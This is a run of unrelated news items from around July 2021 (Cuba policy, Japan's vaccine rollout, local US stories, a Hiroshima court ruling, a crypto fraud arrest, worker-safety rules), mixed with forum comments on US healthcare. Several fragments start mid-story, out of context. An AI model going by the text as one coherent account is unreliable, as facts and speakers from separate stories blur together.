WASHINGTON (Reuters) - President Joe Biden's review of Trump-era Cuba policy could lead to big changes in the U.S. posture toward the communist government in Havana as U.S. officials take stock of large protests in that country.

The White House says Biden's primary goal is helping the people of Cuba as they reel from pandemic-driven economic woes. Two sources familiar with the review said on Wednesday it could lead to the easing of restrictions on payments Americans can make to their families in Cuba.

Remittances to Cuba are believed to be around $2 billion to $3 billion annually, representing its third biggest source of dollars after the services industry and tourism.

The sources also said whether to ease a travel ban between the United States and Cuba is also under consideration, as well as whether to lift the designation of Cuba as a "state sponsor of terrorism," a label then-President Donald Trump gave to Cuba just days prior to leaving office in January.

Biden is also considering reviving the Cuban Family Reunification Parole Program, which had provided a legal way for Cuban families to be reunited in the United States, the sources said.

Trump's withdrawal of U.S. diplomats from Cuba in 2017 in response to mysterious, possibly sonic, attacks on Americans in Havana basically froze the reunification program.

Cuban-born Homeland Security Secretary Alejandro Mayorkas on Tuesday warned Cubans and Haitians not to attempt to enter the United States illegally by sea, saying the trek was too dangerous and they would be repatriated.

The Cuba review is being coordinated by the White House National Security Council with input from the State and Defense departments as well as the Department of Homeland Security and other agencies.

The outcome of the review is not considered imminent.

White House spokeswoman Jen Psaki told reporters the Cuba policy review is being conducted "with an eye toward its impact on the political and economic well-being of the Cuban people."

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"There's no question that the protests over the weekend and the events of the last several days are significant events, and it was the largest protest we've seen in Cuba in a long time. That will obviously have an impact on how we proceed," she said.

to Cuba

(Reporting By Steve Holland; editing by Patricia Zengerle and Alistair Bell)
At a time when sports are returning to normalcy across much of the globe, the Olympics remain a dreary exception.

The Tokyo Games are caught between the mostly unvaccinated Japanese publics COVID-19 concerns on one side and politicians who have invested too much in these Olympics to cancel them on the other.

Organizers announced last Thursday that Olympic events in Tokyo and most outlying cities will occur without fans. Seiko Hashimoto, president of the Tokyo organizing committee, called it a sorry message, but insisted in order to prevent the spread, this was the only choice available for us to take.

Athletes wont receive a red-carpet welcome either. They must leave their loved ones at home, quarantine upon arrival, submit to frequent saliva tests and comply with a lengthy list of rules. Hugs, handshakes and high-fives are discouraged. So is venturing anywhere besides competition venues and a limited list of preapproved locations.

Japan is imposing these restrictions after other countries have relaxed their rules. In just the past few days, spectators have packed Coors Field for the MLB All-Star game, piled into Wembley Stadium for the Euro 2020 final and lined the slopes of Mont Ventoux to witness the Tour de Frances most iconic climb.

The contrast highlights the ramifications of Japans long-delayed vaccine rollout. Whereas mass vaccinations slowed the spread of the virus this spring in the U.S. and Europe, about only 3% of Japanese citizens had received even one dose by mid-May.

Efforts to ramp up vaccinations before the Olympics have since dramatically helped, but Japan still lags behind other developed nations. A little over 30% of Japan is now partially vaccinated, according to Our World in Data, compared to 70% of Canada, 68% of the United Kingdom, 58% of Germany and 55% of the U.S.

If Japan had rolled out COVID vaccines a few months earlier, it would have been possible to suppress the transmission and hold the Olympics with spectators, said Kenji Shibuya, a former World Health Organization member now in charge of overseeing vaccinations in Soma, Japan. But it is now in a state of emergency with low vaccine coverage in the middle of delta resurgence.

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To understand why Japan took so long to get shots in arms even with the Olympics looming, Yahoo Sports contacted a half-dozen public health experts who are either based in the country or have extensive knowledge of it. Their answers portray a vaccination system hampered by politicization, public mistrust and inadequate infrastructure.

Fans will be banned from Tokyo-area stadiums and arenas when the Olympics begin. (AP)

Japans uneasiness with vaccines

Japans uneasiness about potential side effects from vaccines predates COVID-19 by decades.

In the early 1990s, Japan received a flurry of complaints linking its version of the combined measles, mumps and rubella vaccine to unexpectedly high rates of aseptic meningitis and other adverse reactions. The Japanese government responded by halting use of the vaccine in 1993, leading to outbreaks. To this day, it doesnt recommend a combined MMR shot.

The scandal shook public confidence in vaccines, increased media scrutiny on vaccine safety and sparked a barrage of lawsuits seeking damages. When a court ruling held Japan responsible for any adverse effects from vaccines, it discouraged the government from pushing immunizations and encouraged a more cautious, risk-averse approach.

In 1994, Japan reduced the scope of its national vaccination program and made inoculations an individual choice instead of a mandatory act. Kentaro Iwata, a physician and infectious disease expert at Kobe University, described subsequent Japanese policy as very passive toward the development and approval of new vaccines for children, causing the country to fall behind.

Public trust in vaccines eroded further in 2013 amid unsubstantiated Japanese media reports of neurological side effects from the human papillomavirus (HPV) vaccine. Japan withdrew its recommendation of the vaccine even though it had proven safe and effective elsewhere in preventing cervical cancer.

The countrys HPV vaccination rate dropped from 70% to less than 1%, according to a study published last year in The Lancet. The study estimated that if nothing changes, the vaccination crisis could result in nearly 11,000 preventable deaths from cervical cancer in Japan over the next 50 years.

This is the eighth year now where the Japanese government has said, If you ask for it, well provide it, but were not going to proactively recommend it,  said anthropologist Heidi Larson, director of the London-based Vaccine Confidence Project. Its kind of an ambiguous approach that leaves the public hesitant and questioning. If the government doesnt promote it, people are going to think something isnt right.

In September 2020, Larson co-authored an analysis of global trends in vaccine confidence. Japan ranked among the countries with the lowest vaccine confidence in the world, surveys conducted across 149 countries showed.

That was the climate in Japan a year and a half ago when COVID-19 first infiltrated the island nations borders. The thirst for a vaccine wasnt as strong as elsewhere in the world, nor was the country as prepared to develop one.

Japans success suppressing the pandemics first waves also lent itself to complacency. Neither the countrys death toll nor its infection rate in 2020 approached that of the U.S. or other hard-hit countries.

The government initially did not understand the importance of vaccines and did not push forward on it, Iwata said. It wasnt until later they became aware of it and now are pushing very hard.

People line up to register for a dose of the Moderna vaccine on June 30 in Tokyo. The Japanese government has begun an after-hours vaccination campaign as it expands its coronavirus inoculation drive to include younger people. (Carl Court/Getty Images)

Debate over Japans extra step

In 2016, a team of Japanese Health Ministry advisers warned that Japan was unprepared if a pandemic broke out. Their report described Japans pharmaceutical industry as uncompetitive, questioned if it could efficiently develop a vaccine for Japanese citizens and noted the risk of trying to secure vaccines abroad in a time of crisis.

Shibuya, one of the authors of the report, likened Japans pharmaceutical industry to its financial industry before a 1991 crash. So many companies, a lack of competitiveness, obviously heavily subsidized, a lack of global scale, he said.

The assessment of Shibuya and his colleagues appears prescient five years later. Japanese pharmaceutical companies lacked the resources and funding to compete with their international rivals, forcing the country to obtain COVID-19 vaccines abroad rather than develop its own.

When Japan finally secured enough Pfizer and Moderna vaccine to cover its population, the government faced a crucial decision. Did it make more sense to rush the vaccine to the public with COVID-19 cases on the rise and the Olympics looming in July? Or was it more prudent to stick to typical protocol and do clinical trials in Japan in hopes of proving to a notoriously wary population that the foreign-made vaccines were safe?

Japan chose a rushed version of the latter option, differing with the dozens of other nations that accepted the results of Pfizers multinational tests and began vaccinations right away. Haruka Sakamoto, physician and researcher at Keio University in Tokyo, criticized the Japanese governments decision, saying it was politically motivated and not medically necessary.

The government decided to conduct an additional clinical trial to counter the anti-vaccine movement, media, and opposition parties, Sakamoto said. Therefore, the start of the vaccination was delayed by 2-3 months.

Even after Japan belatedly began its vaccination rollout in mid-February, progress was initially slow. As Iwata put it in May, Achieving a high rate of vaccination was never a mission in Japan for many vaccines and now the government is struggling to do what they have never even tried.

New York-based Yuji Yumada was part of a group of 10 physicians who sought to speed up the process by combatting vaccine resistance. In February, they launched a promotional campaign to counter social media rumors and spread lessons learned from overseas  and they used an adorable cartoon dog to do it.

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Corowa-kun is a chatbot clad in a white doctors coat and tasked with answering user questions about the vaccine. Yumada said 80,000 people actually engaged with the cheerful-looking dog since February.

People in Japan tend to love cartoons, he said with a laugh.

Yumada and his colleagues researched the efficacy of Corowa-kun during the spring. More than 10,000 users responded to his survey.

Before using this app, the users vaccination confidence rate was 59 percent, Yumada said. But after using this app, 80 percent of people had great confidence in the vaccine.

The spread of accurate information undoubtedly helped accelerate Japans vaccination process, as did the increasingly dire circumstances in the country this spring. A surge in cases hampered Japans economy and overburdened its healthcare system, forcing hospitals in the hardest-hit cities to use waiting rooms and hallways to create extra bed space, or even turn away severely ill patients.

Recognizing the need to get shots in arms, the Japanese government allowed paramedics, dentists and lab technicians to begin administering the vaccine. More than 1 million Japanese are now getting the vaccine every day, not enough for all citizens to be eligible to get a shot in time for the Olympics but maybe by November.

How does the medical community evaluate Japans decision to delay vaccinating its citizens this past winter to run extra clinical trials? Six months later, the response is mixed.

Yamada said the COVID-19 vaccine might have met the same fate as others in Japan had the government not taken that extra confidence-inspiring step.

So I cant really say it was truly a failure, he said, but from the standpoint of the Olympics it was a failure.

Sakamoto took a harsher stance.

If the vaccine had been administered sooner, of course, the death toll would have been even lower, and the economic loss would have been less, she said. Also, it might have been possible to hold the Olympics with an audience.

More from Yahoo Sports:
Jul. 13Executives from the Odessa YMCA and top administrators from Ector County ISD turned out Tuesday to celebrate a partnership to provide prekindergarten to 3 year olds in Odessa.

Together, the organizations are committed to preparing 150 prekindergarten 3 year olds for kindergarten. The news conference was held at the Odessa Y Learning Center at 1111 Pagewood Ave.

The spot is the former location of Compass Academy Charter School, which is now located at 5530 Billy Hext Road.

The building site is on a 7.3-acre lot with approximately 21,000 square feet of developed space. The building has 14 classrooms, ample office space and several bonus rooms that could serve various functions, according to information from a news conference.

The information said the facility has an outdoor playground for school age children and the area is highly secured with 24/7 CCTV cameras.

To accommodate parent work schedules, the Odessa Y Learning Center will offer childcare before and after the preschool program hours making preschool education available to more Odessa children, the information said.

Tuesday's gathering included a performance by six children of the Tooty Ta Song.

ECISD Superintendent Scott Muri said the district has a phrase they use commonly which is "we do this work together" because they recognize that it they can't accomplish everything alone.

"It is really the collective power of many that we meet the needs of those around us, and so today we're here to celebrate the collective power of many coming together to create good things for those little kids that were just standing in front of us a moment ago. It starts a couple of years ago when we recognized as a school district that 65 percent of the students (that) enter kindergarten in ECISD aren't ready to be successful on the first day of school," Muri said.

"... We saw that number 65 and we knew that we had to do something about that. And we also knew that we couldn't do it alone. What we did do alone was we took our 4 year old program and moved it from a half-day program to a full-day program; something that we were already doing as a district educating 4 year olds. We knew we could do much better. We could double the time that we were spending with those kids and so we did that," Muri added.

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"And then we looked at the next layer, our 3 year olds, and that's something that we didn't have the capacity to do on our own. So we looked into our community and throughout the region in the state. Who can help us educate the children of ECISD from that earliest age, that age of 3, so that when our kids reach kindergarten that not 65 percent of them are not ready but every single child is ready to be successful, and the YMCA stepped up," he said.

Muri said the district and YMCA went through a long application process and the board made a decision to embrace the Y and enter into a formal agreement.

He added that this additional investment in students will last a lifetime and help ensure that "when that race begins, those kids are well prepared to be successful and run across that finish line with great pride."

Odessa Family YMCA CEO/President Crissy Medina said usually when people think of the YMCA, it's the gym, swimming, sports and a song you dance to at a party come to mind.

But Medina said the YMCA is so much more.

"We are a place for youth development, healthy living and social responsibility. The past few years, we have been committed to early childhood education regarding readiness. Here at the Y, we feel that the sooner a child begins our educational career, the ... more successful they will be in their educational path," Medina said.

"We're very honored to have a partner in ECISD who can continue our focus and help meet the growing needs of the Odessa community. The Y will join schools like Lamar and Carver as the third school in Odessa to serve pre-kindergarten 3 year olds. We are committed to adding 150 spots for 3 year olds to our program. The children will attend half-day morning sessions at this facility. Our Y teachers will be teaching the Frog Street curriculum and conduct assessments to gauge progress for kindergarten readiness. Our teachers will be certified to teach English and Spanish curriculums, as we see that's a very important need in our community," Medina said.

"One of the greatest, most convenient aspects of this partnership is the opportunity for the Odessa Family Y to provide all day care for parents who work, so we will be able to provide before school and after-school transportation to one of our licensed childcare centers," she added.

The Y will be able to provide meals, and if children continue with all-day care, they will also get an afternoon snack.

A ribbon cutting for the Odessa Y Learning Center will be from 11 a.m. to 1 p.m. Aug. 5, board member and past president Eddy Shelton said.

Lamar and Carver early education centers will host on-site registration July 22 and 23 and parents can register their children for the pre-k 3 program at the YMCA as well. Hours on July 22 will be from 7:30 a.m. to 6 p.m. and 7:30 a.m. to 5 p.m. July 23.

The district's Registration Roadshow also will be held from 1 p.m. to 7 p.m. at Music City Mall.

Medina said if anyone would like to support efforts for future learning center growth, they can purchase a Lego block in different sizes and put their name, the name of a business or the name of a loved one who supported education on it.

"... When you come in for our grand opening, we can actually build a structure that will be here with the building forever so everyone can see everyone who helps support and make this dream happen ...," Medina said.

For the larger blocks, it's $250 and then Medina said she believes the smaller blocks are $125.

"So if you are interested in purchasing a block and supporting this cause, just call the Odessa Family Y (at) 432-362-4301," Medina said.
When Shipman resident Wisteria Johnson took to the stage July 10, she led the crowd in spelling: V-I-C-T-O-R-Y.

What do we have? Johnson asked. The crowd exclaimed in response: Victory!

More than 100 opponents of the now-canceled Atlantic Coast Pipeline gathered Saturday at the Rockfish Valley Community Center in Nelson County for a celebration more than a year in the making.

Dozens were grouped under white tents with overlapping chatter and music filling the air. The area was decorated with anti-pipeline paraphernalia, and many wore blue No Pipeline T-shirts.

Im sure you all remember what it felt like when you heard the news that the pipeline was canceled, Joyce Burton, with Friends of Nelson, said as she clutched a copy of the Nelson County Times with the headline that read, Atlantic Coast Pipeline canceled.

I just remember the disbelief; I had bruises on my arm from pinching myself. Im really excited that now, after a year, were finally able to reconnect with that feeling of relief we had back then, Burton said.
As Caudill eases into her new role, she said her priorities are still revealing themselves. She noted she did not want to dictate a direction for the two churches that would not fit with the community.

One of the things that is really important to me, and I think important to both communities is that their collaboration not be confused with melding or assimilation, Caudill said. And then finding ways that these two communities with different gifts can offer those gifts to each other and the community.

Caudill said she also wants to help the two churches find their footing as they return to somewhat normalcy after having been mostly online since the pandemic began. It was during the early days of the pandemic that the two churches first began worshiping together virtually, fostering the partnership that has led to splitting a full-time priest.

So thats a big priority for me is the reinstitution and reexamination of what was here before and understanding how the world has changed and how maybe we can live into that, Caudill said.

Building the two small, rural churches memberships as well as building and sharing the unique opportunities each brings also are important to her.
As a parent in the school division, Parker said she feels there is a disconnect between the school board and constituents in the county. In the 20 years shes had children in the school division, Parker said she has never been informed of a school board meeting via a school email, text blast or flyer.

Those things just started to resonate with me that somebody needs to fix this, Parker said.

While school board meeting dates, times and locations are posted to the divisions website and agendas are released ahead of each meeting, Parker said busy parents cant be expected to constantly seek out those resources, and she wants to see the school board be more intentional about informing parents about school board meetings and what items are set to be discussed.

Parker said she hopes to use her experience with construction, property management and maintenance to help with budgeting and planning for capital improvement projects in the divisions schools. She also has experience teaching real estate classes, and hopes to use her perspective as an educator on the board.

Parker said she is pleased to see the division planning for a return to full-time, in-person instruction in the fall, and hopes to see the states mask requirement for schools lifted before the beginning of the school year.
A new coffee shop will be opening on Langhorne Road near E.C. Glass High School on Saturday.

The new shop, La Vida, will feature specialty drinks, snacks and sweets, WiFi, and seating inside and outside.

Andrew Padilla, managing partner of the business, said, La Vida is a "lifestyle, built around the idea of freedom and choice."

"We are a coffee company that specializes in customized drinks, as well as a custom experience," he said. "We will also be operating our market and be involved with students in the area that have small businesses that want to sell their products."

He said his goal is to help build up the community and surrounding area.

"As the largest coffee shop in Central Virginia, we have the space to make it a beautiful community space and that is what we plan to do," he said.

He said what makes La Vida different from other area coffee shops is the staff, passion and aesthetic of the business.
You never know who needs blood. It could be a friend or family member, or it could be you one day, Grant said. You want that blood to be available for you when you need it, if you or a loved one needs that.

Nationwide, Red Cross needs more than 1,000 additional daily blood donations to meet demands, the organization said in a news release. Starting Friday and lasting through July, there are blood drives happening in communities across Southwest Virginia and throughout the state.

I would encourage people to get up, make that appointment, have a good breakfast, take a lot of iron and vitamin C  try to look away from the needle, and recognize that they are saving a life, Grant said if people are hesitant or frightened of donating.

Most donations are life-altering for the recipient, and many are even life-saving, she said.

That is so important to put it in perspective, that you are making a difference  youre really saving up to three people, because your one donation can help multiple people, Grant said. If you keep that in your mind, and dont look at the needle, it only takes about 10 minutes of the actual donation.
The Hiroshima High Court ruled Wednesday that 84 people in Hiroshima are eligible to receive state health care benefits even though they were exposed to radioactive "black rain" following the 1945 U.S. atomic bombing outside an area currently recognized by the government.

Upholding a lower court decision last year, the court ruled in favor of the plaintiffs, saying they should receive the same benefits as those provided to atomic bomb survivors who were in the zone where the state recognized that black rain fell.

The high court ruling is expected to impact the ongoing review by the central government on areas where black rain fell and its health impact.

In line with a Hiroshima District Court ruling in July last year, the high court recognized all 84 plaintiffs, including deceased individuals succeeded by family members, as hibakusha, or survivors of the atomic bombing and ordered the prefectural and city governments of Hiroshima to accept their applications for state health care benefits.

The high court said radioactive rain fell in a wider area beyond the designated zone and the plaintiffs are hibakusha because it is impossible to rule out the possibility they suffered health damage caused by exposure to radiation.

Residents in the black rain zone are eligible to receive free health checkups and atomic bomb survivors certificates entitled to medical benefits in case of developing 11 specific illnesses caused by radiation effects.

But the plaintiffs' applications for health care benefits for atomic bomb survivors filed with the Hiroshima prefectural and city governments between 2015 and 2018 were rejected as they resided outside the zone, prompting them to sue the governments to seek nullification of their decisions.

Based on previous research, the central government designated an oval-shaped area measuring 19 kilometers in length and 11 km in width stretching northwest of the hypocenter of the atomic bombing on Aug. 6, 1945, as the zone where black rain fell for an hour or longer.
Japan Today - Jul 19

The approval rating for Prime Minister Yoshihide Suga's cabinet has fallen to 35.9 percent, the lowest level since he took office last year, a Kyodo News poll showed Sunday, adding to signs of public discontent with the government's determination to hold the Tokyo Olympics despite the coronavirus pandemic.
Great Plains Communications is expanding its fiber-optic network and rolling out gigabit-speed services in Council Bluffs.

The company said more than 1,300 businesses will be able to sign up for fiber-driven technology solutions, including internet access with speeds up to 10 gigabits per second, managed ethernet, managed wifi and GPC Cloud Connect, delivered over fiber to ensure the fastest and most reliable connectivity.

Our goal is for organizations in Council Bluffs to have both access to fast, reliable fiber-driven services and an exceptional customer service experience that comes from working with a Midwest provider who has over a century of experience, said Todd Foje, CEO of Great Plains Communications. GPC views our customers as technology partners and understands the needs of Midwestern businesses because we are a Midwestern business. We look forward to working with the Council Bluffs business community.

Fiber deployment is currently underway. Customers will be turned up in phases as construction is completed. For more information go to gpcom.com/councilbluffs.
The identity of the man implicated by the two witnesses hasnt been revealed. But Judge Joel Yates granted a defense motion for one of them  an inmate at an Iowa prison  to testify at Bahena Rivera's sentencing hearing Thursday at the Poweshiek County Courthouse in Montezuma, which is in central Iowa about halfway between Des Moines and Iowa City.

Prosecutors remain confident in Bahena Riveras guilt and they plan to respond to the defense claims this week, according to state attorney generals office spokesman Lynn Hicks.

The prisoner who will testify Thursday says that when he was housed at a county jail, another inmate told him that Tibbetts had been kidnapped by associates and held at a trap house for sex trafficking, where she was bound and gagged, the defense motion says. He says that this other inmate said that he and another person killed Tibbetts after the publicity surrounding her disappearance got too big and that they dumped her body near a Hispanic male in order to make it appear that the Hispanic male committed the crime, the filing states.

The witness told prison officials and investigators that he thought the story was bluster until he heard Bahena Riveras testimony, the motion says.

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A roundup of campaign news items:

NUNN RUNNING: Bondurant Republican Sen. Zach Nunn is running for the U.S. House in Iowas 16-county 3rd District, which is represented by Democratic Rep. Cindy Axne, who has not announced whether she will seek a third term in Congress. Shes frequently mentioned as a potential challenger to either Sen. Chuck Grassley or Gov. Kim Reynolds.

Nunn, 42, is a business owner and lieutenant colonel in the Iowa Air National Guard who has flown more than 700 combat hours during three deployments to the Middle East. He was elected to the Iowa House in 2014 and then to the Senate in 2018.

My next mission is to bring those Iowa values to Washington and defeat the far-lefts socialist agenda in the process, he said in a campaign announcement. You trusted me to fight at the Statehouse and we delivered time and again, passing the largest tax cut to help working class Iowans keep more of their hard earned dollars, protecting our constitutional rights and strengthening our family farms. We've got a battle ahead of us ... (because) elites in D.C are bent on picking winners and losers in America.
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Valentinos says it wants to add a location in North Platte.

In a press release sent out Tuesday, the company, which has 18 existing locations in Nebraska said it wants to expand into Hastings, North Platte and Scottsbluff, while also considering other locations.

The company is looking for potential franchise owners to open new To-Go and Express locations. Valentinos To-Go and Express locations focus on carryout and delivery with express pizza by the slice options and family value packs.

Weve had some interest over the years and never really found candidates, said Anthony Messineo, Valentinos vice president, in a phone interview on Tuesday. Initially wed meet and talk and nothing ever happened.

Messineo said Valentinos had a presence for many years in North Platte, but it has been several years since the last franchise closed.

We thought certain locations throughout the state that we really want to get our brand back out there again, Messineo said. Weve done some re-branding with our look and opened up some new To-Go and Express units and thought North Platte is just a no-brainer for us.
The expansion of North Platte Community Colleges Health and Science Center is another step closer to becoming a reality thanks to a donation from NebraskaLand Bank.

NLB contributed $50,000 toward the project Wednesday during a check presentation at the college.

Mike Jacobson, president and CEO of NebraskaLand Bank, said all businesses have a responsibility to give back to the community that helped make them successful. He believes investments, such as the one in the Health and Science Center, will eventually result in huge dividends.

Giving to the Health and Science Center project is important because it has allowed the college to attract and retain students in this region to further their education in the sciences, Jacobson said. Filling local professional jobs, in many cases, begins with getting an education locally. NPCC provides a cost-effective educational solution for those living in this region who want to advance their education. NPCC is a great asset.

The Health and Science Center is located on NPCCs South Campus. Constructed in 2012, it is home to the colleges nursing, medical laboratory technician, emergency medical services, paramedic, dental assisting, math, biology, physics and engineering programs.

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STUART, Fla. (AP)  More manatees have died already this year than in any other year in Florida's recorded history, primarily from starvation due to the loss of seagrass beds, state officials said.

The Florida Fish & Wildlife Conservation Commission reported that 841 manatee deaths were recorded between Jan. 1 and July 2, breaking the previous record of 830 that died in 2013 because of an outbreak of toxic red tide.

The TCPalm website reports that more than half the deaths have died in the Indian River Lagoon and its surrounding areas in Volusia, Brevard, Indian River, St. Lucie and Martin counties. The overwhelming majority of deaths have been in Brevard, where 312 manatees have perished.

Some biologists believe water pollution is killing the seagrass beds in the area.

"Unprecedented manatee mortality due to starvation was documented on the Atlantic coast this past winter and spring," Florida's Fish and Wildlife Research Institute wrote as it announced the record Friday. "Most deaths occurred during the colder months when manatees migrated to and through the Indian River Lagoon, where the majority of seagrass has died off."

Boat strikes are also a major cause of manatee deaths, killing at least 63 this year.
Writer Beer & Society

There is nothing that cannot be discussed and worked out over a beer. Join me as I explore local beer, breweries and how they can civilize us.
Photo: Getty Images

As of this week, New Yorks COVID deaths sit at around 43,000, which would mark the third-worst casualty count of any state. The federal tally, however, clocks New Yorks deaths at around 54,000, trailing only Californias 64,000 deaths  a state with double the population.

According to an Associated Press review of New York State Department of Health data, the discrepancy grew this year by 3,200 deaths  amid three probes into allegations that Governor Andrew Cuomos administration altered documents on nursing-home deaths in June to hide the real toll caused by a controversial decision made by his office in March 2020.

Its a little strange, Bob Anderson, chief of the Mortality Statistics Branch at the Centers for Disease Control and Preventions National Center for Health Statistics, told the AP. Theyre providing us with the death-certificate information so they have it. I dont know why they wouldnt use those numbers.

The Cuomo administrations statistic only includes lab-confirmed coronavirus deaths at hospitals, nursing homes, and adult-care facilities, thereby excluding people who died at home, in hospice, in state prisons, or state-run homes for people living with disabilities. It also does not include likely coronavirus deaths of residents who died without accessing a COVID test in the early months of the pandemic, when New York City was the global epicenter. New York City statistics suggest at least 5,000 additional residents died from the virus without getting tested.

As the AP notes, state death counts are normally higher than CDC numbers, as the agency must wait for the data to be reported up to them. The Feds are always going to be behind, said Georges Benjamin, executive director at the American Public Health Association. Theyve got to do their due diligence to validate their numbers theyve got. States including California, Florida, Pennsylvania, and New Jersey have reported their deaths as recommended by the agency, including all deaths where COVID is a direct factor.
Four men were arrested by Japanese police for allegedly defrauding thousands of investors out of millions of dollars, according to a report by Asahi Shimbun Digital on Monday.

Shoji Ishida, Yukihiro Yamashita, Takuya Hashiyada, and Masamichi Toshima stand accused of cheating 20,000 investors out of more than 6 billion yen (US$54.3 million) by promising to generate large returns through the use of artificial intelligence (AI) on their crypto trading platform.

Investors, who are filing civil lawsuits, say the men ran a crypto scheme known as the Oz Project which purported to automatically trade on a users behalf through the use of AI.

Related: UK Police Seize $250M Worth of Crypto

The scheme promised two-and-a-half times a users initial principle in return on their investment over a four-month period, per the report. A solicitation officer held seminars calling for further investment into the project.

Those who invested also invited friends and acquaintances, increasing the total pool of investors, Asahi reported.

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I always confuse him for the guy who dated Naomi Watts for a long time before I remember he was the one that dated Diane Kruger

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Liev Schreiber?

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I saw Joshua and Christian on GMA or something this morning. They both have young kids and seem very proud of and in love with. That was my favorite part of the interview cause it was very sweet. I feel like theres a reason to not like Christian though and I'm too lazy to look it up.

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I love the way he talks about Jodie. So many men need to take notes.

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The podcast was good so I will watch the series even though it's quite triggering to me. I had back surgery 15 years ago at 22 and I only had minor complications. When I heard the story I realised I was lucky...

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He seems like a lovely person. I wont be watching Dr Death though, just reading about that case was upsetting enough for me.

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This sounds very interesting. My mom is always telling me that doctors never speak poorly about each other and I've noticed it too, even if you're dealing with a doctor who is clearly shitty.



Either way I think he's right that the whole system is broken.

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Unfortunately, that's an unspoken rule in a lot of professions that are supposed to protect us.

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Hell we even have that rule in retail. It's even above, and I quote, "Keep your hands off associates." HR doesn't like me very much lol.

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Yes, I think it's like that everywhere, they cover each other up, which is fucked up. And like the ONTDer below said, it happens in a lot of professions.

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I meant to say above, sorry

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Yup, I used to work for a vet and it was the same way in that field.

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Are all episodes dropping tomorrow or is it weekly?

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All drop tomorrow

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Thank you. :)

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I'm a Dawson's Creek and Pacey/Joey stan and even I agree lol.



So excited for this series!

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No one needs to see the gritty drama about Pacey and Joey and their marriage 20 years later."



Idk I would kinda love to see that toxic ass couple getting their inevitable, way too postponed divorce and Pacey finally getting together with his true soulmate Andie.

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I will NEVER forgive the writers for Andie's character assassination.



Her and Jen Lindley got shafted.

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And all in favor of the ultimate Mary Sue Miss Joey Potter.

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i don't think i have the heart to watch this but i love him

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on one hand, i get what he's saying and the failings of the system with regard to this and similar cases need to be thoroughly investigated... starting with his residency and fellowship which should never have graduated him or, in the case of the fellowship, matched him to begin with. (seriously, how an incompetent neurosurgery resident matched in a fellowship at the very facility he was doing his residency at, which was therefore filled with attendings who had to know he was incompetent is just... i cannot wrap my brain around it. like at all.)



but at the same time, letting non-physicians regulate healthcare is how we've ended up with cms guidelines based on outdated studies that withhold payment unless you do things that actively harm a patient or hospital system that prioritize patient satisfaction over actual patient outcomes or insurance companies denying coverage of tests that the patient's physician believes is warranted. so... yeah. i don't know what the right answer is.

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Yeah that kind of regulation even causes problems in systems with universal healthcare. In Australia we have issues with government officials and private sector companies running aged care facilities and support, without medical oversight, which has led to rampant systemic abuse (including murder) of extremely vulnerable people and massive budget blow-outs.



Not to mention non-healthcare professionals dominating hospital middle management, funding allocation etc. We dont come close to the issues faced in the US system but theres got to be a balance because its patients and healthcare workers who suffer.

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oh jeez, that sounds awful. but also, yeah exactly. oversight of healthcare facilities by people who didn't spend the at minimum 7 years of medical training (at least here in the us) to be able to appreciate the art and nuance of medicine is a recipe for diaster.



like here the problem of private insurance is certainly paramount... ie most of the cost of operating a hospital is paying people (non-physicians) whose entire job description is convincing insurance to pay as much as possible (to the hospital, not the physicians, btw). but at the same time it's the government-run centers for medicaid & medicare services who are mandating treatment protocols for certain conditions that are out-of-date to the point of being at times actively harmful.



like i get the "who watches the watchmen" argument here and this is definitely not to say there aren't physician bad actors but... yeah, there's a reason it take 7+ years to be able to treat patients and that's because there's a lot of fucking nuance to grasp.

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Before I learned how the health care system in the US works, I used to think people that doubted their doctors were crazy or conspiracy theorists. Now I totally understand it.

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I can't tell you how rough my experience was in the healthcare system in my 20s. It took over 12 ER visits before anyone would believe that anything was actually wrong with me, even when I was sobbing and in pain. I had tattoos and piercings, so I was often written off as just seeking out pain meds, even when I specifically told them I didn't want any pain meds I just wanted to know wtf was wrong with me.



FINALLY I encountered one doctor who took me seriously. He thought I might have Lyme disease, and was visibly disappointed when the tests ruled that out. I had already figured out that I probably had lupus, so he took my word and ran an ANA test and oh, waddya know, it came back positive. He immediately hooked me up with a rheumatologist, who was able to confirm lupus.



12 ER visits, half a dozen specialist visits, dozens of blood tests, and $40k in medical debt before one doctor finally decided that my issues were worth looking into. Healthcare in this country is a joke.

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I am so sorry to hear that. I cannot imagine having to go through it all and spending so much money, and it makes me so mad (as a non American!) when I read about US citizens saying they don't want the health care system to be reformed.

I hope you're better now.

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OSHA Signs an Alliance to Protect Workers from Grain Handling Hazards

The Ohio Agribusiness Association partners with OSHA to help train workers.

On July 9, 2021, OSHA, the Ohio On-Site Consultation Program, the Ohio Bureau of Workers Compensation and the Ohio Agribusiness Association signed an alliance to combat the dangers workers face in grain handling. According to a press release, the two-year alliance will help train workers and help them learn about the industries six major hazards: engulfment, falls, auger entanglement, struck by, combustible dust explosions and electrocution hazards and OSHAs Grain-Handling Safety Standard.

Grain handling can expose workers to serious and life-threatening hazards, such as fires and explosions from grain dust accumulation, engulfment in grain bins, and injuries and amputations from grain handling equipment, said OSHAs Acting Region Administration William Donovan in Chicago. This alliance aims to provide training and resources to improve workplace safety in this industry.

An implementation team will meet to develop a plan and determine procedures, roles and responsibilities of the participants. They will also meet twice a year to track and share information on activities, results on goals and promote available training by each organization.

OSHAs Alliance Program works with different groups who are committed to worker safety and health in the workplace to prevent injuries, illnesses and fatalities. This includes everything from professional organizations to faith-based organizations. OSHA and these groups work together to develop the right compliance tools and resources, share information in the workplace and educate workers and employers about their rights and responsibilities.

Learn more about agricultural industry safety resources here.
The State of Washington Issues an Emergency Outdoor Heat Exposure Rule for Workers Following an Extreme Temperature Spike

Washington is now the third state to regulate outdoor work conditions under extreme heat.

The Washington State Department of Labor and Industries will soon require stricter precautions when it comes to working in the sunlight. The emergency rule requires employers to provide shade or other sufficient methods for employees to cool down. They must also have a paid cool-down rest period of at least 10 minutes every two hours. These requirements were put into action following a record-breaking heatwave across the Pacific Northwest. This sudden temperature change killed hundreds of people from Oregon through Canada.

According to an article, emergency rules go hand in hand with previous precautions and kick in once the temperature hits 89 degrees where employers will then have to provide workers with cool drinking water. However, once it reaches 100 degrees, employers will have to accommodate with the 10-minute resting rule, as mentioned previously, which went into effect July 13. Although, some farmworker advocates say its not enough.

"If you talk to workers out in the field, anything over 80 becomes really uncomfortable," said Edgar Franks, an organizer with Familias Unidas Por La Justicia, a farmworker union in Skagit County. Especially if you're working under a piece rate system, where you're paid by your production  you're going as fast as you can," he said.

